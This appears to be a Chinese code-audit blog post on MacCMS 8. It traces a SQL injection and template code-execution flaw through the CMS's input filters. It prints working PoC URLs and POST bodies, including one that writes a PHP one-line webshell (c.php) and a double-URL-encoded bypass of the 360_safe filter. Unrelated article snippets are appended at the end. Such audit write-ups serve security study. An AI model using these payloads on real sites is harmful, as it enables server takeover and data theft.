苹果CMS漏洞

news/2025/1/1 12:34:25/

1.环境搭建:

最新版本好像修复了这个漏洞

后来看大佬们分析是加了360safe、把他注释掉就可以复现了

审计过程:

 

  1. 首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be(“all”, “wd”)获取请求中wd参数的值,并使用chkSql($wd)方法对$wd进行安全处理。

审计 1.png

  1. 跟入be方法在maccms8_mfb\inc\common\function.php文件中的第266-294行中可看到该方法是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,根据上一步可以知道be(“all”, “wd”)是,使用REQUEST接收wd参数的值并使用addslashes函数进行转义处理。

审计 2.png

  1. 回到maccms8_mfb\inc\module\vod.php第96行再跟入chkSql方法,在maccms8_mfb\inc\common\360_safe3.php文件中的第27-43行中可以看到该方法是将接收到的变量进行循环urldecode直到解出原文为止,解出后再丢进StopAttack进行处理,处理完成后返回htmlEncode($s)的值。

审计 3.png

  1. 跟入StopAttack方法在maccms8_mfb\inc\common\360_safe3.php文件中的第12-26行中可以看到该方法是使用接收到的正则$ArrFiltReq进行安全处理。

审计 4.png

  1. 跟入$getfilter在maccms8_mfb\inc\common\360_safe3.php文件中的第57-61行可以看到该方法是检测GET,POST,COOKIE中的关键字的拦截规则,且该检测规则存在被绕过的问题。

审计 5.png

  1. 回到maccms8_mfb\inc\common\360_safe3.php的第42行再跟入htmlEncode方法,在maccms8_mfb\inc\common\function.php文件中的572-586行可以看到该方法是对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,此处没有对其他的空白字符和反斜杠进行处理,可以被绕过。

审计 6.png

  1. 回到maccms8_mfb\inc\module\vod.php第98行再跟入$tpl->P["wd"] = $wd;,在maccms8_mfb\inc\common\template.php文件的第2372行看到$tpl被创建的位置,且class AppTpl也是在当前文件被创建的,跟踪P["wd"]数据发现传递给了$lp['wd'],然后跟踪$lp['wd'],在如下两处进行了SQL的拼接处理,所以存在SQL注入,且是单引号字符型注入。

第一处:需要请求m参数为m=vod-search的时候触发。

审计 7  1.png

审计 72.png

第二处:需要请求m参数为m=art-search的时候触发。

二处  1.png

二处 2.png

 

命令执行漏洞复现

 

 

在上述的分析过程中可以知道htmlEncode仅对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,可以使用%0b绕过,但是根据0×01中的第7步可以知道是字符型注入,需要闭合单引号,htmlEncode又把单引号进行的实体化,所以可以转换思路,如下两个SQL语句拼接时候$lp['wd']在SQL语句中可以控制两个位置,因此可以传入反斜杠进行单引号的转义和闭合,又由于0×01中第2步得知REQUEST请求使用了addslashes函数进行转义处理,0×01中的第3步中使用urldecode进行解码,所以可以使用双url编码绕过addslashes函数。

函数 1.png

函数 2.png

poc:

http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

poc:

http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search    post:    wd={if-A:print(md5(23333))}{endif-A}

 

poc:

 

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

 

进行攻击,该payload是直接生成一个c.php一句话木马文件,连接密码为c。

那么有注释的情况怎样绕过呢?(306_safe3)

会被检测到

addslash绕过

在做了全局addslash的防御策略的cms中编解码是绕过addslash的一种常见的途径。

 

 

这个案例还是很经典的。跟踪be函数可以看到,通过be函数获取输入。只是对GET和POST做了addslash.

function be($mode,$key,$sp=',')
{ini_set("magic_quotes_runtime", 0);$magicq= get_magic_quotes_gpc();switch($mode){case 'post':$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';break;case 'get':$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';break;case 'arr':$arr =isset($_POST[$key]) ? $_POST[$key] : '';if($arr==""){$value="0";}else{for($i=0;$i<count($arr);$i++){$res=implode($sp,$arr);} }break;default:$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';break;}return $res;
}

所以对从cookie获取输入,以及使用be(‘arr’)方式获取输入都是没有过滤的点。

修复方案采用的是对url解码之后做了一次转义,当时这不是一个最完美的安全编码方式,虽然他解决了这个url解码导致的绕过。

foreach($tpl->P as $k=>$v){if(!is_numeric($v)){$tpl->P[$k] = mysql_real_escape_string($v);}
}

 

这几篇文章都看的比较吃力,应该好好学学代码审计了

 

 

绕过360_safe方法

但是最新版似乎没用

poc:

http://127.0.0.1/AllCMS/Maccms/Maccms8.x-master/maccms8/index.php?m=art-search-wd-%252a%252fselect%2520user() order by 1 desc%2523-letter-%2527%2520union%252f%252a 

 

 

 

参考:http://www.freebuf.com/column/161528.html

参考:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=23026

参考:addslash的绕过   代码审计的博客


http://www.ppmy.cn/news/445845.html

相关文章

Joomla技术支持-SP Page Builder

简介 SP Page Builder是一个最灵活的页面构建工具。通过鼠标拖放即可完成Joomla的页面构建。你可以创造任何你想要的布局&#xff0c;不像模板那样&#xff0c;把你限制在预创的模板布局中。它可以用于构建独特的页面。它可以使用任何Joomla模板&#xff0c;无论是免费或收费。…

apn描述文件下载_iOS 11.3 beta 6描述文件下载|苹果iOS 11.3 Beta 6描述文件官方版_ - 极光下载站...

iOS 11.3 Beta 6苹果官方已经放出公测版和开发者预览版系统更新。iPhone X新增了四个Animoji&#xff0c;还有就是新的健康记录功能。更新需要描述文件&#xff01; iOS 11.3 beta 6更新使用评测&#xff1a; iOS 11.3是一个重大更新&#xff0c;引入了一系列新功能&#xff0c…

苹果7pid怎么设置_step7中PID参数该怎么设

A、PID参数都该设那些,输出怎么样算是比较合适的……? 转帖: FB41的PID: 一、在ob35里面插入FB41,方框顶上会有红字,输入一个类似“DB120”的,系统会问你要不要生成这个Db,yes就可以 二、大部分参数不要填,默认就行,下面是常用参数,用变量连接: 1、MAN_ON:用一个boo…

小马哥---高仿苹果6sp 主板A9900 6582芯片刷机拆机主板图与开机识别图 此系列版本多

这个系列版本较多&#xff0c;A99..系列机型 芯片6582 内置8G内存 1G运存 此次展示的是标示贴A9900 芯片6582 尾插盖板A992 此款百度网盘有我原厂刷机视频图。 上图

java苹果沙盒验证参数问题_SpringBoot集成validation校验参数遇到的坑

公众号中分享了一篇文章&#xff0c;关于SpringBoot集成validation校验参数的&#xff0c;粉丝留言说有坑。 原留言如下&#xff1a; 有坑&#xff0c;你试试^A-\\d{12}-\\d{4}$,这条正则经过validate这个方法无论参数写的对不对都会报验证错误&#xff0c;而用main方法测试是正…

顺序表和链表的比较和区别

一&#xff0e;顺序表和链表的比较 1&#xff09;顺序表&#xff1a;顺序表的特点是逻辑上相邻的数据元素&#xff0c;物理存储位置也相邻&#xff0c;并且顺序表的存储空间需要预先分配。 它的优点是&#xff1a; a) 方法简单&#xff0c;各种高级语言中都有数组&#xff0c;…

「网络编程」第二讲:网络编程socket套接字(二)_ 简单UDP网络通信程序的实现

「前言」文章是关于网络编程的socket套接字方面的&#xff0c;上一篇是网络编程socket套接字&#xff08;一&#xff09;&#xff0c;下面开始讲解&#xff01; 「归属专栏」网络编程 「笔者」枫叶先生(fy) 「座右铭」前行路上修真我 「枫叶先生有点文青病」 「每篇一句」 我认…

win10关闭触摸板和键盘

惠普笔记本 FnF11 关闭触摸板或打开触摸板 小娜输出cmd&#xff0c;以管理员方式运行&#xff1a; sc config i8042prt start disabled 关闭键盘 &#xff08;需要重启电脑&#xff09; sc config i8042prt start auto 开启…